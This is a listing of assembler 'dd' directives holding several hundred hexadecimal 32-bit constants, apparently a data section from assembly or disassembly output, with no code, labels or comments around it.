dd 0B2376622h, 3FD99A6Eh, 6B15EFAEh, 2B8FB441h, 3DC12758h
dd 3D251CA8h, 0C220CBCBh, 0D8574170h, 2F1D49Bh, 42E3BC7Fh
dd 5533B3ABh, 19B59559h, 0B2D5F57Fh, 0D3E3B8CAh, 56BC1530h
dd 63653A56h, 9251945Ch, 76B9DC05h, 0B2205D55h, 60CF675Fh
dd 473F90E0h, 765AA6DCh, 0D570F683h, 358E74Fh, 0D8B986Eh
dd 0EC50AA4Dh, 1DEF1AF7h, 9681AF01h, 7892F28Fh, 0BB011530h
dd 0A2FAA5E3h, 0E0807B6Ah, 1960163Bh, 60D2364Ch, 59CFA8Fh
dd 14AFBF53h, 9E42BA4Ah, 91F907FBh, 8FDFDFB9h, 4E82557Bh
dd 0C02EA28Bh, 51C3E951h, 727170F3h, 81F366C1h, 62F80A31h
dd 0E138B354h, 21E17B9Ch, 0AD05B5DAh, 241DAA82h, 0BF6AF478h
dd 2F2D5CA0h, 0CDC64D57h, 0B3C06A1Fh, 6DDBCA38h, 103B5E99h
dd 2B9EC8A5h, 0E4795DFEh, 68E3B772h, 26B514B2h, 0D20A50D5h
dd 1C35B62Bh, 53F896F0h, 0C5FF0B6Fh, 0DF461B55h, 228AC19Bh
dd 8CD9F838h, 0B14D153Dh, 0EA756BC9h, 9005FCAAh, 0B2557D7Fh
dd 7BD4B6E1h, 0FAA87E7Dh, 0CE116768h, 328A3A9Dh, 307CC155h
dd 0F7524AC5h, 0ED7056Bh, 0E3EA87Ch, 151D7865h, 61AEBF8Bh
dd 0E2B293C2h, 85DFFACFh, 2A30BA62h, 3DD3E0B9h, 477EBF27h
dd 9D9CA6EAh, 0EA44EAF4h, 0CFFD93AFh, 0B6CA3106h, 0FF9CA31h
dd 7B635A55h, 9D02A848h, 0EE273B1h, 2486A06Dh, 0F279D134h
dd 0B8EABFA4h, 0CFD41CDBh, 854EA06Bh, 9EE7A33Ch, 7FAF5DB8h
dd 0AAE371E8h, 0EB3E654Ah, 455990B1h, 7C45654Bh, 5D402FEh
dd 0E3E6847Ch, 1227BB04h, 1DE01F3Dh, 5AAE21D6h, 0D030C451h
dd 1B36BB7Bh, 56E1325h, 1008DFCDh, 0C1E38CD1h, 9EAC86E4h
dd 73667187h, 0D7C5B24Bh, 5FD484EBh, 6C84C5A1h, 0E76F1612h
dd 0FEC1E810h, 0EB509355h, 8A218D0Fh, 774C02EBh, 0DACFDE4Ch
dd 0FD36A700h, 83314F46h, 0A8947499h, 0BAF10BECh, 6444288Fh
dd 0D432530Dh, 5864167Dh, 0B6223150h, 3C6A6333h, 8E79E4E2h
dd 230C6718h, 990055E7h, 3571F544h, 0DC8CEABBh, 0DA92AFE1h
dd 0C3C57C35h, 60D1D37h, 0B94ABE82h, 0CBA29506h, 0EC0BD983h
dd 0F00156ACh, 3097B5DCh, 0B104B740h, 5CC5C2D5h, 7B774A94h
dd 6B604AE8h, 8412195Bh, 0D947303Ah, 0B64F56D1h, 883BC965h
dd 216ED302h, 33C9D10Dh, 689C4276h, 0F4C61656h, 29E322DAh
dd 0B9890975h, 92AE56AFh, 9401CF8Ah, 14071BCFh, 1CB8C5F0h
dd 2F07E715h, 34A8F80Bh, 0F427B46Bh, 9059FE94h, 9ABEF860h
dd 97053CE2h, 0DBDF1BDDh, 78704CCEh, 0D6D7B5C7h, 5E704179h
dd 30A3996h, 0BE8B364Fh, 13417F65h, 7548972Ch, 448B1F72h
dd 22AD94FCh, 1312B564h, 0F261F539h, 0E9FD8565h, 91FE50Dh
dd 9FDBEA20h, 36675C39h, 9E7983Bh, 5F6767D7h, 0EDF62EE3h
dd 0B10592A9h, 2D8B9639h, 0C5F9AA12h, 83F220B8h, 3B6070FCh
dd 36670E1Dh, 0ADADD3D3h, 61AE5C42h, 632DD8Fh, 0C09F7076h
dd 0BD73AAA3h, 0E0B0304Ah, 0CD76B82h, 2F33417h, 0F9BBE778h
dd 28754AA4h, 0B2D7054h, 22A72743h, 3B1AD7C9h, 6C734EDDh
dd 0F4A2C974h, 28412960h, 0F7AD98F8h, 0EF372A32h, 13690881h
dd 1C62A518h, 5339FF41h, 79FFAFBEh, 776464F0h, 0BF090BE7h
dd 659E51B0h, 31ACCB13h, 0E25E0D73h, 0A333156Dh, 1568B2BDh
dd 0E74BDBDh, 40E507F1h, 1EC2C23Eh, 0B417D3BDh, 0A9574632h
dd 239B7FC1h, 0EC9910A1h, 3CA9FBC0h, 2946CEDCh, 5CA9DAEh
dd 11B1372Dh, 5BAC97F7h, 9BBC5AFFh, 0ADA0F611h, 0AF2B985h
dd 2D88BCF6h, 0D26803D2h, 9C9E482Ch, 0DF0F9E14h, 9C711F0Ah
dd 222BCE35h, 0E4F0FFA7h, 7C800664h, 561CDBBFh, 3D222DD9h
dd 0DEDA16A3h, 1A2EC439h, 100637D8h, 970888E0h, 63418063h
dd 0C8C01748h, 0C9FCC401h, 205FEFBCh, 1F3E1C43h, 83BB378Dh
dd 7069C096h, 763BB4BDh, 0D3EC7C9Fh, 490095CEh, 2D3789B3h
dd 8DA3AB11h, 0BD2484D0h, 0EAC05657h, 2EFBA033h, 0B0D2C42Fh
dd 0E4C061A5h, 4D54CAACh, 4E1A7F5Eh, 232B47B4h, 5E5567C5h
dd 10E19D99h, 9B9044E6h, 0F560816Dh, 3F4EC432h, 50585B24h
dd 8C0B1400h, 597B5C96h, 49DB8EC7h, 24E01F0Eh, 0A44BDD31h
dd 8CCDADACh, 0B887E875h, 0CEB17304h, 9A473011h, 784B3B1Ch
dd 0C5FB9A0Eh, 4355E64Bh, 458FB532h, 5AA74F5Ah, 62977E34h
dd 186037C8h, 0E3008E6Eh, 0E2A6976Ch, 0ABDEE90Eh, 1E0FA938h
dd 5B48C070h, 0C5FE0C69h, 3FCFFACDh, 0CED9596Ch, 0A6777A80h
dd 33C71C5Dh, 9DCB6877h, 0A271FF6Ah, 464D7FE1h, 24C97EBEh
dd 0CDBCA6A6h, 0B38CBCEAh, 92D94134h, 65283F19h, 0AF2C6835h
dd 83E1A18Ah, 650B8AFAh, 0F0B589D7h, 0B6D3375Eh, 50E882E8h
dd 0AC1C9C6Eh, 9A47B47Ah, 0AF2E8A77h, 4D09F420h, 0E1C2447h
dd 6F15C6EAh, 84363E91h, 0B72C7DDFh, 150B22C9h, 0E08DE069h
dd 1DF6EF61h, 0A24F3B66h, 7774295Fh, 2F4A0747h, 92D23FC6h
dd 355A1337h, 75AE015Dh, 0B780DEF0h, 35E8E283h, 0AC6F59E8h
dd 4A060F42h, 15A79DD1h, 0EA1F80EEh, 0EFE867E1h, 0ABA4FFAAh
dd 0ED3BDE17h, 7C5F4969h, 22809B53h, 0AA6635A1h, 4A4CB1B4h
dd 63CC8537h, 6CD66EFCh, 0F46D0943h, 64E0F696h, 82160BF5h
dd 5F04E3DBh, 9CFB16BFh, 64D6CF1Ah, 2558A89Eh, 0B93204FDh
dd 0A7416797h, 56E66AD9h, 5F3A27BBh, 0C0B95D0Dh, 68866010h
dd 13FFFA50h, 53161DEh, 0FBE43CF7h, 0AC02A6EDh, 0F4E2CECEh
dd 196C3367h, 170FA7AEh, 9836DEECh, 0B2BDFEA9h, 7ED6C10Fh
dd 8B85FE64h, 71D00866h, 0EF8347D2h, 1B7C2D2h, 8E0D2224h
dd 3C7F9B0h, 9B2D9B4Ch, 0F5982E8Ch, 24CF1725h, 0F10FF593h
dd 1BF6AA35h, 0FF009195h, 3B2C602Ch, 0B01EB8A2h, 0D2012FABh
dd 526A5E6Ah, 7BF81D2Ah, 79C828F2h, 7FB3893Fh, 63BEB83Ah
dd 0E53BEB0Eh, 42AEA6A3h, 0F8025B01h, 4EEFF05Ch, 2E80F141h
dd 8F53114Fh, 0B846A218h, 0F5BF7104h, 8E6813F1h, 10536968h
dd 0EE405D8Ch, 78AA5506h, 96CE503Dh, 464B04h, 64F7DD81h
dd 0A5A1D9A2h, 4AB41A14h, 419A93AEh, 5FC10195h, 0B435D99Ah
dd 72BB8994h, 7B817C93h, 14B82DBh, 95337223h, 33378FBFh
dd 26602126h, 0D46606F8h, 281F3100h, 536F5560h, 0C59A92ACh
dd 7E0B6A5Ah, 87DE5E36h, 47C7B84Eh, 1774001Dh, 27E154D0h
dd 35174E66h, 0FDA0260h, 2F9BCFCh, 0AD9D626h, 0FEF6A3Bh
dd 66FA537Eh, 3E52F854h, 4E418A30h, 0B94675F4h, 6B25F53Dh
dd 0D6865137h, 47177018h, 42C16479h, 76D3FDA2h, 1FE782D7h
dd 0E54EF71Dh, 0A4B150CDh, 0D08FF94Eh, 0BFAB3E6Bh, 2FFCB3ADh
dd 0E9221292h, 7678D658h
dd 0EE976C40h, 0C0867EBAh, 1CFF946Eh, 0DB09BFB1h, 1EE2FDAFh
dd 632DBFFEh, 0E4DD2C7Eh, 1780CCDFh, 0ADBC3611h, 1E5A22A6h
dd 47657A49h, 2DFBC589h, 8879D5Fh, 0C506D3A8h, 7CA346CAh
dd 9FDA6A0Ah, 99B4F9D7h, 0E5B1162Ah, 0BDB8B074h, 7225721h
dd 0DED092C0h, 27C4025Dh, 6A4CBD7h, 0B9325069h, 6F41E958h
dd 947C9DA6h, 0DBC18074h, 0B6259149h, 0A99D8BD6h, 0B4A8BA33h
dd 365A7621h, 61D0F201h, 2EB8E7F0h, 7B0EAA2Dh, 0F9CF4791h
dd 793F7878h, 0F541E11h, 5645EE38h, 8B6CDD0Eh, 0FB27485Eh
dd 0C3447492h, 3AB018D4h, 0BB63E808h, 0C3D9E7ABh, 0F09EE585h
dd 0D6D73D7Fh, 189DA23Ch, 9F499669h, 6D723562h, 35C792DBh
dd 0DEF05FCDh, 0E089A44Fh, 806BEA50h, 0E88EBB00h, 9D84F1ABh
dd 676C8568h, 0F7E249F0h, 0F88E1379h, 0AEDB42E4h, 0B30E3BB7h
dd 0BCBA3E9Ah, 0EC7E1891h, 0FF01921Bh, 579D657Eh, 0DA0CFD79h
dd 40B09833h, 42864F1Bh, 1163DC37h, 71561E2Bh, 0E3860FF4h
dd 19E2C756h, 306FBB12h, 72D1CE79h, 50E45D47h, 0C43B50DBh
dd 0A20C3C3Ah, 0CF222DA6h, 4347131Eh, 47A4A061h, 0D8995D46h
dd 85D5B6FEh, 0D81E588Ch, 0AC718082h, 0F7AE719Eh, 619FD6D6h
dd 23BA50DEh, 0D88225D9h, 0BDD37AEDh, 0D6B33FA3h, 85C4236Ah
dd 4D0D79F2h, 5ED4F3A4h, 0AB4ACF99h, 0BCB9F2F2h, 7691616Eh
dd 52D0865Bh, 0F777F421h, 6DB7C815h, 0CE744ABh, 753638AAh
dd 2286E64Dh, 77ECE3B8h, 49272459h, 0D53A5B43h, 0C81DAA90h
dd 2412EB72h, 45BE39A3h, 5C8D6CC3h, 0A4CDEB94h, 7840D23Ch
dd 0E124D9FFh, 888438AAh, 8CF04D57h, 0D95D2EBh, 0F20B9AA3h
dd 5BBF2AF5h, 44B9C3CBh, 85E8096Eh, 276C45AAh, 0E9D0E023h
dd 7D67027Eh, 4263B4F4h, 4472A69h, 1C121AABh, 1F9889BAh
dd 0A445FF59h, 0FBDC9845h, 467BCFBBh, 0A000AEC5h, 9F2043F7h
dd 5B7FA81Ch, 34966B31h, 74A7D47Ch, 0F51EA580h, 0B507B74Fh
dd 23980016h, 0C2C6F242h, 0C5D5A2E5h, 0D358D3E2h, 467AA896h
dd 95C9E660h, 0FDD89197h, 0CB308058h, 46145824h, 922E4B7Dh
dd 2CE2036Eh, 3C7AE6Bh, 8749262Ah, 7F0C53D3h, 0DC3F3F01h
dd 0FB3770C1h, 6851A4DCh, 0A59F484h, 3769068h, 522936CAh
dd 25E74098h, 3D5A5FCBh, 5012FF1Ch, 13280DDBh, 88FFF308h
dd 0E264F6C4h, 0DC72DA0h, 78132CCh, 100FA36Ch, 9CDE0D68h
dd 0AFB6ADCh, 0F2B06D2Bh, 0D65FB10Dh, 0AB7C098Fh, 0E15249Ah
dd 73E5CF03h, 31F30DD5h, 4AE3E4E2h, 13A769E3h, 68423DAAh
dd 0AFBE924Eh, 4076AD99h, 0D3B86B8Ch, 4985C397h, 99D3117Bh
dd 0D3F892EDh, 749FFE46h, 869690D3h, 6D72FCC2h, 698BFD29h
dd 0A9F23FE8h, 62838E77h, 0DD937B7Ah, 5123A611h, 1BDEDF3Ah
dd 14E1F00Bh, 692567CEh, 4F6A8569h, 96C583E6h, 0C1C8E38Eh
dd 1B299650h, 6A1208A0h, 0BDB77459h, 7FC12436h, 9A30DADBh
dd 58A8517h, 1DD63A3h, 4ED4FB2Fh, 2DE52760h, 9C94317Eh
dd 0A56F2199h, 0B0D7645Eh, 0E71A496Ah, 295D609Fh, 6A72D34Dh
dd 8519382Bh, 966BAE92h, 0EAECEC96h, 0C05E93D3h, 4726C4C9h
dd 1BB3B95Fh, 7A9A7B4Ch, 4F9006DCh, 0ED57142h, 757AEB33h
dd 15B00E71h, 51D6C588h, 3829C47Bh, 7BA643B0h, 1D62741h
dd 0F352EB6Eh, 6566D0A4h, 0BE3EA638h, 575E0CECh, 1B0E2A99h
dd 55E06325h, 0F24185A8h, 0B320530Eh, 0FB1D77F5h, 0D022366Ch
dd 0FBE5C6D4h, 1FC525BBh, 1CE88A04h, 26CF91A6h, 0DA91A9A4h
dd 34B666F3h, 0C2A53DABh, 4F76DB79h, 0ED32F815h, 0F00BF05Ah
dd 8352F656h, 40E0B277h, 0E935E862h, 0AA8C0483h, 69CD2431h
dd 0EA64D987h, 0B1E11DDBh, 57AC3686h, 3A86E2D2h, 2455D092h
dd 0AE190CAh, 1388E1A2h, 5DBDE88Fh, 6DFB495Eh, 0B2D82AD9h
dd 5A5615C7h, 0EF555CA7h, 57B6EAA6h, 0C5C010C3h, 8040492Eh
dd 0DC36ABB0h, 0DDF96036h, 510B7860h, 0E362D55Dh, 0F1F997B1h
dd 0F5FBE9E4h, 27E85CB1h, 91E1FA5Bh, 0DC94272h, 0FAE824B7h
dd 504B6E05h, 0E08324C6h, 7467DD0Dh, 0B784897h, 0A1E7FAC8h
dd 0A1AAC469h, 7AAC62C8h, 0A7B47E24h, 3595C196h, 12526BC3h
dd 5C3196FBh, 0CE0A5982h, 0F7643B97h, 64B81880h, 331DB173h
dd 0A371DE48h, 88570C9Fh, 4AA4EA1Dh, 846494CDh, 0CF7EEC5Ah
dd 6AD3B27Dh, 0C989222Bh, 8714F498h, 0D0E53C47h, 6ED32612h
dd 0A9F1DFDAh, 7E26A43Bh, 55E91EA8h, 0B206F3CBh, 0E6B4B00Ah
dd 896431D7h, 4BA71A5Fh, 3B17D56Fh, 0C68393E6h, 5DA86CDDh
dd 0D8DB368Bh, 3241290h, 5379E2F0h, 71781299h, 4A22CB3Ah
dd 5D485221h, 3735254h, 0BD33EAA4h, 773CB307h, 0E2C1781Ah
dd 0E1003764h, 6024BED9h, 73FFD149h, 0C430A80Dh, 506ED4C7h
dd 0C2130989h, 3B97D617h, 73CD6876h, 0CDFDF32Bh, 4D14D030h
dd 12831858h, 2B11AC8Dh, 0C51BF600h, 0FDA0BE54h, 6DD60540h
dd 16FC086Ch, 0A9D7D3D1h, 9080E93Dh, 8590B237h, 0F3044AD8h
dd 4BDE93E0h, 8E6C50Bh, 6F572686h, 28EF9CDh, 0A1EB7BCFh
dd 1656EAF4h, 0D878FD32h, 0A57024BBh, 605CC239h, 0CBD8038Eh
dd 0C0E6563Ah, 35464FC7h, 34E43A7Eh, 0AD2D6426h, 2A44C588h
dd 9A3840C6h, 8EB7FDD9h, 0F873E3AFh, 4E89E78Ah, 4F68A34Bh
dd 0EB7521AFh, 76F0A50h, 0DA0F9E02h, 7CD7A2CDh, 0E4DA7C46h
dd 0AFC31FA0h, 0F3EE93F3h, 0E0A47BBFh, 0A4916AAEh, 0AA5CA57Eh
dd 0B4B45303h, 93385FE6h, 155E869h, 0E3FD5B5h, 0FBEA6BB1h
dd 2E5741DFh, 7C803B88h, 71B03A8h, 0BD1BD252h, 64D6CDDCh
dd 8CC0DDA0h, 30ACC0CBh, 1DB0DB5Dh, 0B85E8AACh, 0FCB868Fh
dd 37E14997h, 90641618h, 2A8D3168h, 7110764Dh, 0A2E74Ah
dd 0F3D40A9Eh, 46DD93B0h, 2A1D91BEh, 7515CEA0h, 920792EFh
dd 8689A3C5h, 0A13AA0h, 928D22B6h, 9181319Ah, 1886FD7Bh
dd 0A73EF953h, 4981C869h, 0E506A8A5h, 644D6640h, 985A6222h
dd 0DC5E245Ch, 0D2E77CC0h, 772199F7h, 9E3D7A7Eh, 12781160h
dd 5C2EC403h, 886B7CCFh, 46321CBEh, 0FE36FEA8h, 0ACDCE7E0h
dd 0F75749E5h, 47C68CACh, 0D338E0B2h, 6DE18EEBh, 0E1509274h
dd 0EB1C2922h, 7BE40030h, 4AE9E4D0h, 0B619A7BFh, 21032DF0h
dd 3AF1D06Dh, 0A31F5084h, 8CA95A3Bh, 99B6C360h, 519A22A9h
dd 833A4CC7h, 0C76918B3h, 5ED03C58h, 0A434DBCEh, 0CC4CC080h
dd 26FAC53Bh, 0B4D83089h, 996C58BCh, 0E6853B50h, 76118652h
dd 0FA35B68Eh, 0A9542726h, 1DD41B7h, 5D8F77F6h, 6312054Bh
dd 68F638CCh, 39F3E3C6h, 0A954D92Eh, 0B9E4B75Ah, 73698745h
dd 7521FB32h, 0CEA5D318h, 760D2FBAh, 999F8316h, 0D5923A96h
dd 3311C0D4h, 74DC0146h, 0BA2FEh, 4A3656EDh, 12C2D176h
dd 33E1B7FCh, 0A2B4B92Ah, 2797D550h, 0F631CB57h, 9E9FA21h
dd 0D3E9E5E2h, 4378C23Dh, 0A451AF71h, 57AA12Ch, 0DAAE0A3Dh
dd 0FC03CEA6h, 0D7F64AEh, 0E7580C02h, 0A59563E8h, 0FE6BBB6Fh
dd 31A41E14h, 83452615h, 0D880018Bh, 1F4E9109h, 2F10C533h
dd 0DC5F138Ch, 0E96D3873h, 85CCB403h, 17605352h, 9624013Ah
dd 5DB52594h, 0EE67E542h, 20674552h, 0AE0EE7CDh, 3EEA5BF1h
dd 1BD29819h, 0FC5BDF85h, 1E21EDE1h, 0E6ACFFD3h, 0EC46D28Fh
dd 0E8C93B8Eh, 0A3E6C782h, 0DA65A90Ch, 0C290EAFBh, 0F3E4AFCAh
dd 551E515Eh, 34FA4B44h, 98EBD0E7h, 0B722D085h, 8D48B9B7h
dd 601B4Fh, 0AC77D2F0h, 0BB2BEE60h, 9400D568h, 0A62C8F41h
dd 1C240667h, 92DBC7FBh
dd 7C3D41D1h, 0DB408475h, 0B1CE1B6h, 0A4E999EFh, 0F104D8F7h
dd 0ABB161Eh, 52478DD0h, 2D21FD08h, 0D10E4C25h, 9B29D859h
dd 54CADD41h, 5B0FE32Ch, 39454Ch, 0EF8AA7EBh, 9C724C43h
dd 28A97FD3h, 3604B30Ch, 0F04A0FBEh, 970998D6h, 327CF995h
dd 54792B0Eh, 0AB15C479h, 17E6D40Eh, 0E3B85D0Eh, 131D5D27h
dd 0A806EFDBh, 7C33321Ah, 53EBDA6Ah, 0C2B26C4Ch, 888DA114h
dd 5FDCB6C7h, 2E321169h, 236D4205h, 24FC1BCFh, 0A5BD121Dh
dd 83B63A7Ch, 0D3B13973h, 4CA72EFh, 71B0328Ah, 0DFB9E252h
dd 91E4BC52h, 8ED08B96h, 2933BBFh, 274B7F95h, 0A9DDA217h
dd 319C9CE9h, 1837E64Bh, 0F1B22EA4h, 28E98778h, 0E2B9A975h
dd 5507FBBCh, 8492B877h, 8768D0FBh, 0A7943C3Eh, 8B1A648Ch
dd 52677A2h, 0A3E7A77Eh, 3882F66h, 0CA037A0Ch, 463DCA02h
dd 0F9047CA9h, 4BA252D7h, 64024E8Ch, 0F63464A9h, 9CED9D5Bh
dd 0DE54C15Ah, 0A0B717DCh, 0BA0DF0F2h, 0DB1AF054h, 4AFFB5DDh
dd 8F9EA36Ah, 20741F8Dh, 0CAD4C2B1h, 5709E9C6h, 290B8B28h
dd 81372787h, 0E58D0A97h, 0D14A4A4Eh, 8CF74D55h, 0DE2D886Ch
dd 0E7A83A2Bh, 4161EB2Eh, 4C3FC91h, 34456650h, 0F7181D87h
dd 0C8E2DB0Eh, 8857CE75h, 4D2FC7D2h, 0B590C2FFh, 3B43029h
dd 116A8F8h, 0AE129FABh, 0EE2C85A8h, 0FDEBB3F3h, 508DE762h
dd 749459CBh, 0EE91196h, 301C8BFh, 57136085h, 794F50A8h
dd 837191C8h, 2B7E8E4Dh, 652E361Fh, 0EAA5BCB3h, 8BDF794Eh
dd 94CF9C70h, 2AB3FC8Ch, 0BD5FB8D6h, 0FD94D3FEh, 6BAB0255h
dd 29419156h, 0CC2995B3h, 0CC3A7E8Ch, 0B0769A5Eh, 135C4930h
dd 0EA6EBC04h, 768AA1Ah, 0CC03E9E6h, 0BDAC6345h, 5F168FEEh
dd 0E2464359h, 1B495CF5h, 1DCF996Fh, 0E0C30629h, 3F40EA15h
dd 0F885E30h, 0CFCEB01Ah, 8A4DE96Eh, 19DB2C42h, 0BC228372h
dd 3467ED2Ch, 0A3D038F8h, 58E1D56Ah, 7A22E73Bh, 0C5817208h
dd 5A8E03E1h, 4D54B17Dh, 0B6823205h, 0D6DAFCBFh, 93E0E55Eh
dd 3FA113D6h, 9D551F6Dh, 927A2056h, 0C832279Eh, 0DF9C2709h
dd 0DA411F42h, 0BBA451BBh, 337D5E0Dh, 4DE759BDh, 55CDAA1Fh
dd 0C73C5A1Dh, 24CE9BB1h, 0E3A22A06h, 0A0B92F22h, 42DDDD04h
dd 0F4641C53h, 0D708D2EAh, 0FBB28832h, 800D0FC7h, 0A6E7BDFCh
dd 902F60B2h, 0F6B68320h, 0D7C9380Eh, 7B5FB601h, 1C87222Ch
dd 0D77C3CE5h, 0FFD104B9h, 0D400ECF7h, 0B445AA13h, 27138456h
dd 0E12E8550h, 0EDEB10CCh, 32F1452Bh, 4E6B8FC0h, 3EE222B3h
dd 5A23ECAFh, 0B0AFB09h, 106446D7h, 0CCA2F4D0h, 531EA0DEh
dd 65A7876Ah, 203DD55Eh, 0A57A0DFCh, 0B6C03D9Eh, 517F3BB6h
dd 9D59237Bh, 6FDA6C5Bh, 0C7FD2FE6h, 55ADBAEh, 17DAFD12h
dd 0A2AAD898h, 1EF2417Bh, 6ED6949Eh, 0C803F9E7h, 0E70AFC43h
dd 0FAB5FEC4h, 248C2FAFh, 6D694DC6h, 0B7557AFAh, 1236BE31h
dd 0A083FD37h, 2FA2F331h, 4115A62Ch, 19BE3A3Ch, 0C3E15F7Bh
dd 0B584CEFEh, 3F2CC4A6h, 0CEDA3B89h, 0C6B0ED53h, 28BBA49h
dd 0A73151A6h, 0D64E6E36h, 9B524966h, 707CD986h, 5AB047E4h
dd 0B80A6BD4h, 15F94D2Fh, 0D515E76Dh, 226111D8h, 0F836374Ah
dd 0B11D57EEh, 8C2910F4h, 8A86405Eh, 33C5E30Bh, 0A6CAF936h
dd 1E022CEDh, 867E3809h, 0C155E98Dh, 28D3C89h, 99CB8713h
dd 7CC56E23h, 78379EAFh, 34A33CA6h, 8E50B304h, 2F77303Dh
dd 591F740Dh, 468C758Eh, 18A92A13h, 0FC62FFACh, 6134D90Ch
dd 0E00337C4h, 983E6E18h, 0D394BBAEh, 35FE84F0h, 0FD87059Bh
dd 77C26224h, 9F4FD706h, 7FFCD024h, 92B3AA87h, 97E54930h
dd 0A6F0467h, 8FBAA5D2h, 467BFEC1h, 0F5C01C9Fh, 7DA723C2h
dd 0A08843C8h, 65357BA9h, 92E03418h, 8F92BC2h, 88077AD6h
dd 0E949998Eh, 0A4A6AF33h, 0A989E196h, 4EC9E8D9h, 2259DBF8h
dd 0BD8D0D05h, 286D3CB1h, 2C25AA75h, 0A4AF425Eh, 89FDAB93h
dd 0E1E60BEh, 961FC858h, 48E62BDFh, 0FDD52683h, 0AC60B6E3h
dd 3EE65F27h, 0D5E05733h, 0FF79C024h, 95C8D719h, 0EA433F05h
dd 0AF0E3D29h, 0D24DF824h, 0ACCE0CD2h, 0EACD7949h, 5D602B81h
dd 68D91FD7h, 0BB94ADA4h, 8AFCEC4Ah, 7EB83B6Eh, 28C48EC8h
dd 0A7C86CC8h, 1C0E749Ch, 6CAF0422h, 1BD1BC58h, 0B2057781h
dd 57059235h, 0BCB44C20h, 0F2988232h, 88F625B8h, 3ECC4A4Dh
dd 67071B0h, 52F2C7BEh, 748D397Fh, 0C9411EFDh, 0B5910B30h
dd 0E150A8CBh, 0E283775Dh, 0EFF1E8FDh, 0BA529A6Ch, 64655041h
dd 0BFD3D408h, 0CC44B33Bh, 0FC878AABh, 0A3A73558h, 0EF3E585Fh
dd 0C34D07C5h, 0C42E7B40h, 953467CCh, 0B7213B50h, 99C06E6Fh
dd 0F201BE17h, 5C1AB465h, 951B3D7Dh, 0E0026B44h, 73220A46h
dd 0ADB93416h, 0E2384D01h, 6F101CD2h, 7414940Bh, 430A000Ah
dd 7F06758Ah, 0A3D95BCh, 3F24A7CBh, 0AAE0BE3Fh, 774D855Dh
dd 5DFED4FFh, 3F23D58Bh, 9278EC5Eh, 395762ACh, 0E681C9C1h
dd 9B285792h, 4E881C7Dh, 9E4D9395h, 6857F8D5h, 9AF12338h
dd 1924C178h, 670F4A79h, 848E032Fh, 0AF41D150h, 0F3DB7B58h
dd 13ACC9B2h, 76E5083Ch, 33B34078h, 81001099h, 7753C7FFh
dd 0B4A65B01h, 5B1FE107h, 5F4E8C6Ch, 0DA63A1EBh, 175581B6h
dd 0DE06D305h, 3425C0BFh, 0F1CB6BAEh, 0A9CE8C0Bh, 0A7BA96BCh
dd 0DFBF126h, 36963954h, 0B7831210h, 494D081Fh, 1BCBB472h
dd 3FD0F0Dh, 0A2E18DAh, 0D2326FB7h, 908B5926h, 0FB860E53h
dd 0FF6BB152h, 12E45DC0h, 9F34C9E3h, 2F30C270h, 86E422D5h
dd 10B1AB84h, 58F8AD33h, 0DDBBEF97h, 3BAA17E0h, 0D8363DADh
dd 23E71CA4h, 0E152FF0Bh, 35F81428h, 0AE134DD4h, 0DE606436h
dd 2DE485D8h, 0B4EDEAh, 31BEA23Dh, 0D987C433h, 150A25Ch
dd 0DB613556h, 0CBD63496h, 0A125FE41h, 0B342A36Fh, 70FE6213h
dd 0E40428B0h, 0A9BA73BEh, 0E6F2125h, 79CB1CB1h, 0BB018389h
dd 350C9187h, 0D181CB39h, 5EE2A0F3h, 0BA5EF66Fh, 0C0F3FD4Eh
dd 0BFAC6FFEh, 3224AC7Ah, 70DBE801h, 2A79473Ah, 9BA3951Fh
dd 7E8B5707h, 0C18FCACDh, 0F8588EB2h, 7F61BD8Fh, 8B6A1E22h
dd 353063A4h, 0DCBFCC38h, 0C90EC677h, 6AFACF59h, 0EA234DABh
dd 9BC40A6Eh, 479A2074h, 0A4C15A5Ah, 1E97C83Eh, 0ED741AE6h
dd 1D732821h, 0E466379Ah, 9645944Bh, 75085B24h, 0BA572F4Ch
dd 0E1C56732h, 215ABBD9h, 0FD398440h, 0DC62BACFh, 52AF04FCh
dd 8785E02Ah, 24A5051Ah, 79062CB7h, 0F01D62FBh, 11762D8Bh
dd 8790FC8Dh, 0E45822h, 45F80814h, 0D3C78E01h, 0E3339591h
dd 381441BCh, 8537D7Bh, 82707582h, 0DE3EF9BDh, 390EB455h
dd 0AEF34C3Fh, 7CB25C90h, 94522D07h, 81834052h, 31274CF5h
dd 0F314268Ch, 6B6A61C6h, 81F0279Dh, 0A831AFDBh, 0ABA64A46h
dd 0E4FE9CCh, 37F1670Dh, 1384BEBDh, 0CA2BCD1Ch, 0E43634D5h
dd 8CBB2C6h, 47F5245Ah, 15AC63FFh, 14A30F1Dh, 433B7CCDh
dd 93B18CFh, 0E4AF435Fh, 2ED50477h, 38296FD9h, 0C94D5187h
dd 0D22DC5CEh, 9B326569h, 5EF3CF52h, 5DA2329Fh, 0D1024C80h
dd 0CB50771Ah, 15E4EA82h, 0A06EA77Ah, 0E421D3F2h, 0AD20E84h
dd 0BB3AEE7Bh, 80B3DA5Bh, 0E6A1E01Ah, 4B601C3Eh, 3C8356E0h
dd 0A0EEB4B7h, 2708C352h, 3527633Fh, 0E7AC9FBh, 740888CDh
dd 3EE496E8h, 0EDA27574h, 31286C1Ah, 45A36F87h, 45E663BCh
dd 1B805CFFh, 0DD15A489h, 239AACEFh, 60C99C9Eh, 90346BECh
dd 470197E8h, 0C474F052h
dd 6EC3869Ch, 654FC3D9h, 0CF3F52F0h, 8A44FA89h, 15E017C2h
dd 5DDB3FA5h, 7AB2952Ah, 1AE3A48h, 0F5B80812h, 0F53B513h
dd 0A05A0A5Bh, 129630B0h, 4E37F57Fh, 923FBFD0h, 0E166CCE5h
dd 71DB904Ah, 8AFBA91Bh, 0EDDB58BAh, 3DB0951Dh, 22A14D6Eh
dd 5D7AF474h, 7167ACA9h, 370796DFh, 5ED7B747h, 0D3C2CF0h
dd 715968B1h, 0EF673989h, 0CE0FEDD7h, 9015CD7Fh, 0F04485B7h
dd 2243E961h, 0EC2D985Ah, 9E3AC958h, 697AC3D4h, 0FDEC2996h
dd 0A312A47Ah, 8C93E2E1h, 0E7AE1626h, 0DE8FE37Eh, 6C1786Fh
dd 8C4DB34Eh, 21D14205h, 0B9FCC160h, 4AA0E10Eh, 0DAF38F6h
dd 6F97C146h, 6FBD4234h, 7FD6A030h, 0ABC6DAECh, 0BA167A2Dh
dd 92217EA6h, 9C728BF1h, 0F67302F2h, 0F89E21B0h, 0D8555F7Bh
dd 0B1F4CF1Fh, 0E5347AD2h, 137B56A5h, 0E9A5B7DEh, 0F10FE267h
dd 21995B6Dh, 0C6B2AAF9h, 35BA5F4Fh, 0A4B13918h, 31CE7894h
